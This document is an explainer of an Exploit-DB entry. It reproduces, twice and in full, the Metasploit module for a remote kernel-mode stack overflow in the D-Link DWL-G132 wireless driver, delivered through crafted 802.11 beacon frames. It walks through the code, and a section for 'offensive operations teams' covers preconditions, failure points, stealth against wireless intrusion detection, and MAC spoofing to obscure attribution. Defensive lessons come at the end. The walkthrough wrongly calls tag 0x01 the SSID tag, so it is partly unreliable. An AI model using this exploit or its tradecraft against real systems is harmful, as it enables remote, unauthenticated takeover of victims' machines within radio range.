D-Link DWL-G132 Wireless Driver Beacon Rates Overflow Explained

What this paper is

This paper details a security vulnerability found in the driver software for the D-Link DWL-G132 wireless USB adapter. Specifically, it describes a buffer overflow in the A5AGU.SYS driver that can be triggered by a specially crafted 802.11 Beacon frame. This overflow allows an attacker to execute arbitrary code with kernel-level privileges on a vulnerable system. The exploit leverages the fact that wireless network cards listen for Beacon frames to discover networks.

Simple technical breakdown

Imagine a wireless network card constantly listening for "hello" messages (Beacon frames) from nearby Wi-Fi access points. These messages contain information about the network, including supported data rates. The vulnerability lies in how the D-Link DWL-G132's driver handles a specific piece of information within these Beacon frames called the "Rates Information Element" (IE).

If an attacker sends a Beacon frame with an excessively long "Rates IE," the driver tries to copy this data into a fixed-size buffer in its memory. Because the data is too large, it spills over (overflows) into adjacent memory areas, overwriting critical data like the return address of the function that was processing the Beacon. By carefully crafting the overflowing data, an attacker can overwrite this return address with the address of their malicious code, causing the program to jump to and execute it.

This exploit is particularly dangerous because it can be triggered remotely and affects all wireless cards within range that are vulnerable, even if they haven't connected to any network yet.

Complete code and payload walkthrough

The provided content is a Ruby script for the Metasploit Framework, designed to exploit the D-Link DWL-G132 vulnerability.

##
# $Id: dlink_wifi_rates.rb 9670 2010-07-03 03:19:07Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = LowRanking

	include Msf::Exploit::Lorcon2
	include Msf::Exploit::KernelMode

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'D-Link DWL-G132 Wireless Driver Beacon Rates Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the A5AGU.SYS driver provided
				with the D-Link DWL-G132 USB wireless adapter. This stack buffer overflow
				allows remote code execution in kernel mode. The stack buffer overflow is triggered
				when a 802.11 Beacon frame is received that contains a long Rates information
				element. This exploit was tested with version 1.0.1.41 of the
				A5AGU.SYS driver and a D-Link DWL-G132 USB adapter (HW: A2, FW: 1.02). Newer
				versions of the A5AGU.SYS driver are provided with the D-Link WUA-2340
				adapter and appear to resolve this flaw, but D-Link does not offer an updated
				driver for the DWL-G132. Since this vulnerability is exploited via beacon frames,
				all cards within range of the attack will be affected. The tested adapter used
				a MAC address in the range of 00:11:95:f2:XX:XX.

				Vulnerable clients will need to have their card in a non-associated state
				for this exploit to work. The easiest way to reproduce this bug is by starting
				the exploit and then accessing the Windows wireless network browser and
				forcing it to refresh.

				D-Link was NOT contacted about this flaw. A search of the SecurityFocus
				database indicates that D-Link has not provided an official patch or
				solution for any of the seven flaws listed at the time of writing:
				(BIDs 13679, 16621, 16690, 18168, 18299, 19006, and 20689).

				As of November 17th, 2006, D-Link has fixed the flaw it the latest version of the
				DWL-G132 driver (v1.21).

				This module depends on the Lorcon2 library and only works on the Linux platform
				with a supported wireless card. Please see the Ruby Lorcon2 documentation
				(external/ruby-lorcon/README) for more information.
			},
			'Author'         =>
				[
					'hdm',	# discovery, exploit dev
					'skape', # windows kernel ninjitsu
					'Johnny Cache <johnnycsh [at] 802.11mercenary.net>' # making all of this possible
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9670 $',
			'References'     =>
				[
					['CVE', '2006-6055'],
					['OSVDB', '30296'],
					['URL', 'http://projects.info-pull.com/mokb/MOKB-13-11-2006.html'],
					['URL', 'ftp://ftp.dlink.com/Wireless/dwlg132/Driver/DWLG132_driver_102.zip'],
				],
			'Privileged'     => true,

			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},

			'Payload'        =>
				{
					# Its a beautiful day in the neighborhood...
					'Space'    => 1000
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Windows XP SP2 with the latest updates
					# 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
					[ 'Windows XP SP2 (5.1.2600.2122), A5AGU.sys 1.0.1.41',
						{
							'Ret'      => 0x8066662c, # jmp edi
							'Platform' => 'win',
							'Payload'  =>
							{
								'ExtendedOptions' =>
								{
									'Stager'       => 'sud_syscall_hook',
									'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
									'Recovery'     => 'idlethread_restart',
									'KiIdleLoopAddress' => 0x804dbb27,
								}
							}
						}
					],

					# Windows XP SP2 install media, no patches
					# 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
					[ 'Windows XP SP2 (5.1.2600.2180), A5AGU.sys 1.0.1.41',
						{
							'Ret'      => 0x804f16eb, # jmp edi
							'Platform' => 'win',
							'Payload'  =>
							{
								'ExtendedOptions' =>
								{
									'Stager'       => 'sud_syscall_hook',
									'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
									'Recovery'     => 'idlethread_restart',
									'KiIdleLoopAddress' => 0x804dc0c7,
								}
							}
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 13 2006'))

		register_options(
			[
				OptString.new('ADDR_DST', [ true,  "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),
				OptInt.new('RUNTIME', [ true,  "The number of seconds to run the attack", 60])
			], self.class)
	end

	def exploit
		open_wifi

		stime = Time.now.to_i
		rtime = datastore['RUNTIME'].to_i
		count = 0

		print_status("Sending exploit beacons for #{datastore['RUNTIME']} seconds...")
		while (stime + rtime > Time.now.to_i)
			wifi.write(create_beacon)
			select(nil, nil, nil, 0.10) if (count % 100 == 0)

			count += 1

			# Exit if we get a session
			break if session_created?
		end

		print_status("Completed sending beacons.")
	end


#
# The following research was provided by Gil Dabah of ZERT
#
# The long rates field bug can be triggered three different ways (at least):
# 1) Send a single rates IE with valid rates up front and long data
# 2) Send a single rates IE field with valid rates, follow with IE type 0x32 with long data
# 3) Send two IE rates fields, with the second one containing the long data (this exploit)
#

	def create_beacon

		ssid   = rand_text_alphanumeric(6)
		bssid  = ("\x00" * 2) + rand_text(4)
		src    = ("\x90" * 4) + "\xeb\x2b"
		seq    = [rand(255)].pack('n')

		buff  =  rand_text(75)
		buff[0, 2]  = "\xeb\x49"
		buff[71, 4] = [target.ret].pack('V')

		frame =
			"\x80" +                      # type/subtype
			"\x00" +                      # flags
			"\x00\x00" +                  # duration
			eton(datastore['ADDR_DST']) + # dst
			src   +                       # src
			bssid +                       # bssid
			seq   +                       # seq
			rand_text(8) +      # timestamp value
			"\x64\x00" +                  # beacon interval
			"\x00\x05" +                  # capability flags

			# ssid tag
			"\x00" + ssid.length.chr + ssid +

			# supported rates
			"\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +

			# current channel
			"\x03" + "\x01" + channel.chr +

			# eip was his name-o
			"\x01" + buff.length.chr + buff +

			payload.encoded

		return frame
	end

end

Code Fragment/Block -> Practical Purpose

• require 'msf/core': Imports the core Metasploit Framework library, providing access to its modules and functionalities.
• class Metasploit3 < Msf::Exploit::Remote: Defines a new Metasploit exploit module, inheriting from the base Remote exploit class.
• Rank = LowRanking: Assigns a ranking to the exploit. LowRanking indicates it's less reliable or has more prerequisites.
• include Msf::Exploit::Lorcon2: Mixes in functionality for using the Lorcon2 library, which is essential for low-level wireless packet injection.
• include Msf::Exploit::KernelMode: Mixes in functionalities related to kernel-mode exploits, indicating the exploit targets the operating system's core.
• def initialize(info = {}) ... end: The constructor for the exploit module. It initializes all the metadata and configuration options.
  • 'Name' => 'D-Link DWL-G132 Wireless Driver Beacon Rates Overflow': The human-readable name of the exploit.
  • 'Description' => %q{ ... }: A detailed explanation of the vulnerability, its impact, and how the exploit works.
  • 'Author' => [...]: Lists the individuals who discovered or developed the exploit.
  • 'License' => MSF_LICENSE: Specifies the license under which the module is distributed.
  • 'Version' => '$Revision: 9670 $: The version control revision number of the module.
  • 'References' => [...]: Lists external references like CVE IDs, OSVDB IDs, and URLs for further information.
  • 'Privileged' => true: Indicates that the exploit requires elevated privileges to run (though this exploit targets the kernel, so the attacker doesn't necessarily need prior privilege on the target if they can inject packets).
  • 'DefaultOptions' => { 'EXITFUNC' => 'thread' }: Sets default options for the payload. EXITFUNC => 'thread' means the payload will exit by terminating its own thread.
  • 'Payload' => { 'Space' => 1000 }: Defines the maximum size allowed for the payload (shellcode). 1000 bytes is a generous buffer.
  • 'Platform' => 'win': Specifies that the exploit targets the Windows platform.
  • 'Targets' => [...]: Defines different configurations for various target systems. Each target includes:
    • A descriptive name (e.g., "Windows XP SP2 (5.1.2600.2122), A5AGU.sys 1.0.1.41").
    • 'Ret': The crucial address to overwrite the return pointer with. This is a jump instruction (jmp edi) that redirects execution to the shellcode. The exact address varies depending on the Windows version and patch level.
    • 'Platform' => 'win': Confirms the target platform.
    • 'Payload' => { 'ExtendedOptions' => { ... } }: Specifies advanced payload configurations:
      • 'Stager' => 'sud_syscall_hook': A specific type of payload stager designed for kernel-mode exploits, likely using system call hooking.
      • 'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF": This is assembly code (add esp, -3500). It adjusts the stack pointer to allocate more space for the payload.
      • 'Recovery' => 'idlethread_restart': A mechanism to restart the payload if it fails or crashes.
      • 'KiIdleLoopAddress': The address of the KiIdleLoop function, a common target for kernel-mode payloads to hide or maintain persistence.
  • 'DefaultTarget' => 0: Sets the first target in the Targets array as the default.
  • 'DisclosureDate' => 'Nov 13 2006': The date the vulnerability was publicly disclosed.
• register_options(...): Registers command-line options for the user to configure.
  • OptString.new('ADDR_DST', [ true, "The MAC address to send this to", 'FF:FF:FF:FF:FF:FF']): An option to specify the target MAC address. Defaults to broadcast (FF:FF:FF:FF:FF:FF).
  • OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 60]): An option to control how long the exploit will continuously send beacon frames.
• def exploit ... end: The main exploit execution function.
  • open_wifi: Initializes the wireless interface using Lorcon2.
  • stime = Time.now.to_i, rtime = datastore['RUNTIME'].to_i: Gets the start time and the configured runtime.
  • count = 0: Initializes a counter.
  • print_status(...): Displays messages to the user.
  • while (stime + rtime > Time.now.to_i): A loop that continues for the specified RUNTIME.
  • wifi.write(create_beacon): Sends a crafted beacon frame using the Lorcon2 interface.
  • select(nil, nil, nil, 0.10) if (count % 100 == 0): Pauses briefly every 100 packets to avoid overwhelming the system or network, and to allow the system to process.
  • count += 1: Increments the packet counter.
  • break if session_created?: If a Metasploit session (e.g., a shell) is established, the loop terminates early.
  • print_status("Completed sending beacons."): Informs the user that the attack has finished.
• def create_beacon ... end: This function constructs the malicious 802.11 Beacon frame.
  • ssid = rand_text_alphanumeric(6): Generates a random SSID (network name).
  • bssid = ("\x00" * 2) + rand_text(4): Generates a random BSSID (MAC address of the access point).
  • src = ("\x90" * 4) + "\xeb\x2b": Generates the source MAC address. The \xeb\x2b part is interesting; it's a short jump instruction, potentially used as a sled or a small piece of code.
  • seq = [rand(255)].pack('n'): Generates a random sequence number for the frame.
  • buff = rand_text(75): Creates a buffer of 75 random bytes.
  • buff[0, 2] = "\xeb\x49": Overwrites the beginning of the buff with \xeb\x49. This is a jump instruction (jmp short +0x49), likely the start of a small shellcode stub or a jump to the main payload.
  • buff[71, 4] = [target.ret].pack('V'): This is the critical part. It places the target's return address (target.ret) at offset 71 within the buff. This address will be overwritten by the overflow.
  • frame = ...: This section constructs the actual 802.11 Beacon frame byte by byte.
    • "\x80": Frame control field, indicating a Beacon frame.
    • "\x00": Flags.
    • "\x00\x00": Duration.
    • eton(datastore['ADDR_DST']): Destination MAC address, taken from the ADDR_DST option.
    • src: Source MAC address.
    • bssid: BSSID (Access Point MAC address).
    • seq: Sequence number.
    • rand_text(8): Timestamp.
    • "\x64\x00": Beacon interval (100 milliseconds).
    • "\x00\x05": Capability flags.
    • "\x00" + ssid.length.chr + ssid: SSID Information Element (IE). Tag 0x00, length, and SSID value.
    • "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48": Supported Rates IE. Tag 0x01, length 0x08, and standard rates.
    • "\x03" + "\x01" + channel.chr: Current Channel IE. Tag 0x03, length 0x01, and channel number.
    • "\x01" + buff.length.chr + buff: This is the vulnerable part. Tag 0x01 (which is actually the SSID tag again, but the driver likely misinterprets it or handles it differently due to the length), followed by the length of buff (which is 75), and then the buff itself. This buff contains the overflow data and the overwritten return address.
    • payload.encoded: Appends the actual Metasploit payload (shellcode) to the end of the frame. This payload will be executed after the overflow redirects execution.
  • return frame: Returns the constructed malicious Beacon frame.

Payload Stage Explanation:

The Payload.encoded is the actual shellcode that will be executed on the target. The ExtendedOptions in the target configuration provide hints about its nature:

• 'Stager' => 'sud_syscall_hook': This suggests a stager that uses system call hooking. In Windows kernel exploitation, this often involves finding a vulnerable system call, hooking it, and redirecting its execution to the payload.
• 'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF": This is add esp, -3500 in assembly. It allocates 3500 bytes of space on the stack. This is crucial because the shellcode might need space for its own operations or to store data.
• 'Recovery' => 'idlethread_restart': This is a fallback mechanism. If the main payload execution fails, it might attempt to restart itself, possibly by finding the idle thread and re-executing.
• 'KiIdleLoopAddress': This points to the KiIdleLoop function in the kernel. This function is executed when the CPU has nothing else to do. Kernel exploits often target this function to inject code or establish persistence, as it's always running.

The shellcode itself is not directly visible as bytes in this Ruby script, as Metasploit generates it dynamically based on the payload configuration. However, the ExtendedOptions indicate it's designed for kernel-mode execution on Windows, likely using advanced techniques to gain control.

Practical details for offensive operations teams

• Required Access Level: No prior access to the target system is required. The exploit is delivered wirelessly by injecting raw 802.11 frames.
• Lab Preconditions:
  • A Linux machine with a compatible wireless card capable of packet injection (e.g., Atheros AR521x, Ralink RT2500, Prism54).
  • The Lorcon2 library installed and configured.
  • Metasploit Framework installed.
  • The target wireless adapter (D-Link DWL-G132 with vulnerable driver version) must be within wireless range.
  • The target wireless adapter must be in a non-associated state (i.e., not connected to any Wi-Fi network). This is crucial because associated clients might handle Beacon frames differently or have their drivers in a more protected state.
• Tooling Assumptions:
  • Metasploit Framework.
  • Lorcon2 library for packet injection.
  • A Linux operating system.
• Execution Pitfalls:
  • Driver Version: The exploit is highly dependent on the specific version of the A5AGU.SYS driver. Newer versions (like v1.21 mentioned) or drivers for different D-Link models may not be vulnerable.
  • Target State: The target wireless card must be in a non-associated state. If it's connected, the exploit might not work. Forcing a refresh of the Windows wireless network list on the target is suggested as a way to trigger the vulnerability.
  • Wireless Interference: High levels of wireless noise or interference can prevent the malicious beacon frames from reaching the target reliably.
  • Packet Injection Reliability: The quality and compatibility of the wireless card and drivers for packet injection are critical.
  • Target MAC Address: While broadcasting is an option, targeting a specific MAC address (ADDR_DST) can be more efficient if known. However, the ADDR_DST is the destination MAC of the Beacon frame, which is typically the BSSID of an AP. In this exploit context, it's likely used to target a specific network or potentially a broadcast address to reach any vulnerable client. The example uses FF:FF:FF:FF:FF:FF, which is a broadcast MAC.
  • Runtime: The RUNTIME option determines how long the attacker will send beacon frames. A longer runtime increases the probability of success but also increases the duration of the attack.
  • Target Specificity: The exploit targets the driver on the client machine, not an access point. The attacker is sending frames that the client's driver will process.
• Tradecraft Considerations:
  • Stealth: Sending raw 802.11 frames is generally noisy and can be detected by wireless intrusion detection systems (WIDS) if they are looking for malformed or excessive beacon frames.
  • Attribution: The source MAC address of the injected frames can be controlled. Using a spoofed MAC address can help obscure the attacker's origin.
  • Timing: The exploit is most effective when the target is actively scanning for networks or when its wireless adapter is in a state where it's processing incoming beacon frames.
  • Payload Delivery: The payload is delivered as part of the beacon frame. The size constraint (Space => 1000) means the shellcode must be relatively small. The use of a stager is common to download or execute a larger payload.
• Likely Failure Points:
  • Target wireless adapter is not using a vulnerable driver version.
  • Target wireless adapter is associated with an access point.
  • The crafted beacon frame is not received or is corrupted during transmission.
  • The target system's operating system or security software detects and blocks the malicious frame.
  • The chosen return address (target.ret) is incorrect for the specific target system's memory layout.
  • The payload fails to execute correctly after the jump.

Where this was used and when

This exploit was developed and published in November 2006. The paper explicitly mentions the disclosure date as November 13, 2006. At that time, the D-Link DWL-G132 was a common USB wireless adapter. Exploits targeting kernel drivers of popular hardware components were more prevalent in the mid-2000s due to less mature driver development and fewer robust security mechanisms in operating systems.

While specific documented real-world attacks using this exact exploit are not widely publicized, vulnerabilities of this nature in wireless drivers were a significant concern for network security professionals. Attackers could potentially use such exploits to gain a foothold on a network by compromising a user's machine wirelessly.

Defensive lessons for modern teams

• Driver Updates: Regularly update all hardware drivers, especially for network interfaces, to patch known vulnerabilities. Manufacturers often release updates to fix security flaws.
• Wireless Intrusion Detection/Prevention Systems (WIDS/WIPS): Deploy and configure WIDS/WIPS solutions to monitor wireless traffic for anomalies, malformed frames, and suspicious beacon activity. These systems can detect and alert on or even block such attacks.
• Network Segmentation: Isolate wireless networks from critical wired infrastructure. This limits the lateral movement of an attacker even if they compromise a wireless client.
• Firmware Updates: For access points and other network devices, ensure firmware is up-to-date, as vulnerabilities can exist in the device's own software.
• Endpoint Security: Implement robust endpoint security solutions that can detect and prevent kernel-level exploits, such as advanced anti-malware, exploit mitigation techniques (like DEP/NX, ASLR), and host-based intrusion prevention.
• Vulnerability Management: Proactively scan for and manage vulnerabilities in deployed hardware and software. This includes understanding the specific driver versions in use.
• Wireless Security Protocols: While not directly preventing this driver exploit, using strong wireless security protocols (WPA2/WPA3) and network authentication methods (like 802.1X) makes it harder for attackers to gain initial access to the network itself.

ASCII visual (if applicable)

This exploit relies on injecting packets into the wireless medium, which then interact with the target's wireless driver. A simple visual representation of the attack flow:

+-----------------+       +-----------------+       +-----------------+
| Attacker's      | ----> | Wireless Medium | ----> | Target Machine  |
| Wireless Card   |       | (802.11 Frames) |       | (Vulnerable     |
| (Packet Inject) |       +-----------------+       | Driver)         |
+-----------------+                                 +-------+---------+
                                                            |
                                                            | Malicious Beacon Frame
                                                            | processed by driver
                                                            v
                                                    +-------+---------+
                                                    | Kernel Memory   |
                                                    | (Stack Overflow)|
                                                    +-------+---------+
                                                            |
                                                            | Overwrites Return Address
                                                            v
                                                    +-------+---------+
                                                    | Execution jumps |
                                                    | to Payload      |
                                                    +-----------------+

Explanation:

1. The attacker uses a wireless card capable of packet injection to craft and send a malicious 802.11 Beacon frame.
2. This frame travels wirelessly through the air.
3. The target machine's wireless adapter receives this frame.
4. The vulnerable A5AGU.SYS driver attempts to process the "Rates Information Element" within the beacon.
5. Due to the oversized element, a stack buffer overflow occurs in the driver's memory.
6. The overflow corrupts the function's return address on the stack.
7. The attacker has carefully placed the address of their shellcode (or a jump to it) as the new return address.
8. When the driver function attempts to return, it jumps to the attacker's code, executing the payload in kernel mode.

Source references

• PAPER ID: 2771
• PAPER TITLE: D-Link DWL-G132 - Wireless Driver Beacon Rates Overflow (Metasploit)
• AUTHOR: H D Moore
• PUBLISHED: 2006-11-13
• KEYWORDS: Windows, remote
• PAPER URL: https://www.exploit-db.com/papers/2771
• RAW URL: https://www.exploit-db.com/raw/2771

Original Exploit-DB Content (Verbatim)

##
# $Id: dlink_wifi_rates.rb 9670 2010-07-03 03:19:07Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = LowRanking

	include Msf::Exploit::Lorcon2
	include Msf::Exploit::KernelMode

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'D-Link DWL-G132 Wireless Driver Beacon Rates Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the A5AGU.SYS driver provided
				with the D-Link DWL-G132 USB wireless adapter. This stack buffer overflow
				allows remote code execution in kernel mode. The stack buffer overflow is triggered
				when a 802.11 Beacon frame is received that contains a long Rates information
				element. This exploit was tested with version 1.0.1.41 of the
				A5AGU.SYS driver and a D-Link DWL-G132 USB adapter (HW: A2, FW: 1.02). Newer
				versions of the A5AGU.SYS driver are provided with the D-Link WUA-2340
				adapter and appear to resolve this flaw, but D-Link does not offer an updated
				driver for the DWL-G132. Since this vulnerability is exploited via beacon frames,
				all cards within range of the attack will be affected. The tested adapter used
				a MAC address in the range of 00:11:95:f2:XX:XX.

				Vulnerable clients will need to have their card in a non-associated state
				for this exploit to work. The easiest way to reproduce this bug is by starting
				the exploit and then accessing the Windows wireless network browser and
				forcing it to refresh.

				D-Link was NOT contacted about this flaw. A search of the SecurityFocus
				database indicates that D-Link has not provided an official patch or
				solution for any of the seven flaws listed at the time of writing:
				(BIDs 13679, 16621, 16690, 18168, 18299, 19006, and 20689).

				As of November 17th, 2006, D-Link has fixed the flaw it the latest version of the
				DWL-G132 driver (v1.21).

				This module depends on the Lorcon2 library and only works on the Linux platform
				with a supported wireless card. Please see the Ruby Lorcon2 documentation
				(external/ruby-lorcon/README) for more information.
			},
			'Author'         =>
				[
					'hdm',	# discovery, exploit dev
					'skape', # windows kernel ninjitsu
					'Johnny Cache <johnnycsh [at] 802.11mercenary.net>' # making all of this possible
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9670 $',
			'References'     =>
				[
					['CVE', '2006-6055'],
					['OSVDB', '30296'],
					['URL', 'http://projects.info-pull.com/mokb/MOKB-13-11-2006.html'],
					['URL', 'ftp://ftp.dlink.com/Wireless/dwlg132/Driver/DWLG132_driver_102.zip'],
				],
			'Privileged'     => true,

			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},

			'Payload'        =>
				{
					# Its a beautiful day in the neighborhood...
					'Space'    => 1000
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Windows XP SP2 with the latest updates
					# 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
					[ 'Windows XP SP2 (5.1.2600.2122), A5AGU.sys 1.0.1.41',
						{
							'Ret'      => 0x8066662c, # jmp edi
							'Platform' => 'win',
							'Payload'  =>
							{
								'ExtendedOptions' =>
								{
									'Stager'       => 'sud_syscall_hook',
									'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
									'Recovery'     => 'idlethread_restart',
									'KiIdleLoopAddress' => 0x804dbb27,
								}
							}
						}
					],

					# Windows XP SP2 install media, no patches
					# 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
					[ 'Windows XP SP2 (5.1.2600.2180), A5AGU.sys 1.0.1.41',
						{
							'Ret'      => 0x804f16eb, # jmp edi
							'Platform' => 'win',
							'Payload'  =>
							{
								'ExtendedOptions' =>
								{
									'Stager'       => 'sud_syscall_hook',
									'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
									'Recovery'     => 'idlethread_restart',
									'KiIdleLoopAddress' => 0x804dc0c7,
								}
							}
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 13 2006'))

		register_options(
			[
				OptString.new('ADDR_DST', [ true,  "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),
				OptInt.new('RUNTIME', [ true,  "The number of seconds to run the attack", 60])
			], self.class)
	end

	def exploit
		open_wifi

		stime = Time.now.to_i
		rtime = datastore['RUNTIME'].to_i
		count = 0

		print_status("Sending exploit beacons for #{datastore['RUNTIME']} seconds...")
		while (stime + rtime > Time.now.to_i)
			wifi.write(create_beacon)
			select(nil, nil, nil, 0.10) if (count % 100 == 0)

			count += 1

			# Exit if we get a session
			break if session_created?
		end

		print_status("Completed sending beacons.")
	end


#
# The following research was provided by Gil Dabah of ZERT
#
# The long rates field bug can be triggered three different ways (at least):
# 1) Send a single rates IE with valid rates up front and long data
# 2) Send a single rates IE field with valid rates, follow with IE type 0x32 with long data
# 3) Send two IE rates fields, with the second one containing the long data (this exploit)
#

	def create_beacon

		ssid   = rand_text_alphanumeric(6)
		bssid  = ("\x00" * 2) + rand_text(4)
		src    = ("\x90" * 4) + "\xeb\x2b"
		seq    = [rand(255)].pack('n')

		buff  =  rand_text(75)
		buff[0, 2]  = "\xeb\x49"
		buff[71, 4] = [target.ret].pack('V')

		frame =
			"\x80" +                      # type/subtype
			"\x00" +                      # flags
			"\x00\x00" +                  # duration
			eton(datastore['ADDR_DST']) + # dst
			src   +                       # src
			bssid +                       # bssid
			seq   +                       # seq
			rand_text(8) +      # timestamp value
			"\x64\x00" +                  # beacon interval
			"\x00\x05" +                  # capability flags

			# ssid tag
			"\x00" + ssid.length.chr + ssid +

			# supported rates
			"\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +

			# current channel
			"\x03" + "\x01" + channel.chr +

			# eip was his name-o
			"\x01" + buff.length.chr + buff +

			payload.encoded

		return frame
	end

end